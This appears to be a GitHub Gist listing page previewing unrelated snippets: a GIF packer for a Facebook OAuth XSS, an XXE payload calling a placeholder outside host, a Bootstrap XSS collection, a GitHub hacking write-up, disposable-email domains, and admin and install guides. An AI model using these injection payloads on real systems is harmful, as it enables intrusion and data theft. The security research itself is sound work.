Skip to content

Instantly share code, notes, and snippets.

@isciurus
isciurus / gist:5437231
Last active May 12, 2024 23:53
GIF packer, used to embed the javascript payload inside the picture and to exploit the Facebook OAuth XSS. Crafted from what I had found across open-source encoders. More reading: http://isciurus.blogspot.ru/2013/04/a-story-of-9500-bug-in-facebook-oauth-20.html
<html lang="en">
<head>
<script>
function str2hex(str)
{
var out_str = " ";
for(var i = 0; i < str.length; i++)
{
@staaldraad
staaldraad / XXE_payloads
Last active May 8, 2024 01:23
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@piscisaureus
piscisaureus / pr.md
Created August 13, 2012 16:12
Checkout github pull requests locally

Locate the section for your github remote in the .git/config file. It looks like this:

[remote "origin"]
	fetch = +refs/heads/*:refs/remotes/origin/*
	url = git@github.com:joyent/node.git

Now add the line fetch = +refs/pull/*/head:refs/remotes/origin/pr/* to this section. Obviously, change the github url to match your project's URL. It ends up looking like this:

@BlackFan
BlackFan / Bootstrap_XSS.md
Last active April 24, 2024 20:28
Bootstrap XSS Collection

CVE-2019-8331

Bootstrap < 3.4.1 || < 4.3.1

✔️ CSP strict-dynamic bypass

➖ Requires user interaction

➖ Requires $('[data-toggle="tooltip"]').tooltip();

@nocturnalgeek
nocturnalgeek / MailinatorAliases
Last active April 8, 2024 20:45
A list of alternate domains that point to @mailinator.com
@binkmail.com
@bobmail.info
@chammy.info
@devnullmail.com
@letthemeatspam.com
@mailinater.com
@mailinator.net
@mailinator2.com
@notmailinator.com
@reallymymail.com
@mattiaslundberg
mattiaslundberg / arch-linux-install
Last active March 29, 2024 08:38
Minimal instructions for installing arch linux on an UEFI system with full system encryption using dm-crypt and luks
# Install ARCH Linux with encrypted file-system and UEFI
# The official installation guide (https://wiki.archlinux.org/index.php/Installation_Guide) contains a more verbose description.
# Download the archiso image from https://www.archlinux.org/
# Copy to a usb-drive
dd if=archlinux.img of=/dev/sdX bs=16M && sync # on linux
# Boot from the usb. If the usb fails to boot, make sure that secure boot is disabled in the BIOS configuration.
# Set swedish keymap
@peternixey
peternixey / securing_rails_updates.md
Created March 5, 2012 13:10
How Homakov hacked GitHub and how to protect your application by Peter Nixey

##How Homakov hacked GitHub and the line of code that could have prevented it


Please note: THIS ARTICLE IS NOT WRITTEN BY THE GITHUB TEAM or in any way associated with them. It's simply hosted as a Gist because the markdown formatting is excellent and far clearer than anything I could manage on my personal Tumblr at peternixey.com.

If you'd like to follow me on twitter my handle is @peternixey


@dually8
dually8 / Install-RSATv1809v1903v1909.ps1
Created July 21, 2020 19:48
Install RSAT tools on Windows 10
<#
From https://gallery.technet.microsoft.com/Install-RSAT-for-Windows-75f5f92f
Usage: .\Install-RSATv1809v1903v1909.ps1 [-OPTION]
.\Install-RSATv1809v1903v1909.ps1 -All (-All is installing ALL the features within the RSAT bundle)
.\Install-RSATv1809v1903v1909.ps1 -Basic (-Basic is only installing AD DS, DHCP, DNS, Group Policy Management and Server Manager)
.\Install-RSATv1809v1903v1909.ps1 -ServerManager (-ServerManager is only installing the Server Manager)
.\Install-RSATv1809v1903v1909.ps1 -Uninstall (-Uninstall removes all RSAT features again)
@ZetaTwo
ZetaTwo / tools.md
Last active February 12, 2024 11:11
CTF/Hacking tools - Tools I use for security related work

General purpose

Terminator - Terminal emulator
zsh - My shell of choice prezto - Configuration management for zsh

Editors

010 Editor - Hex editor
VSCode - Text editor

Low-level reversing

@alotaiba
alotaiba / google_speech2text.md
Created February 3, 2012 13:20
Google Speech To Text API

Google Speech To Text API

Base URL: https://www.google.com/speech-api/v1/recognize
It accepts POST requests with voice file encoded in FLAC format, and query parameters for control.

Query Parameters

client
The client's name you're connecting from. For spoofing purposes, let's use chromium

lang
Speech language, for example, ar-QA for Qatari Arabic, or en-US for U.S. English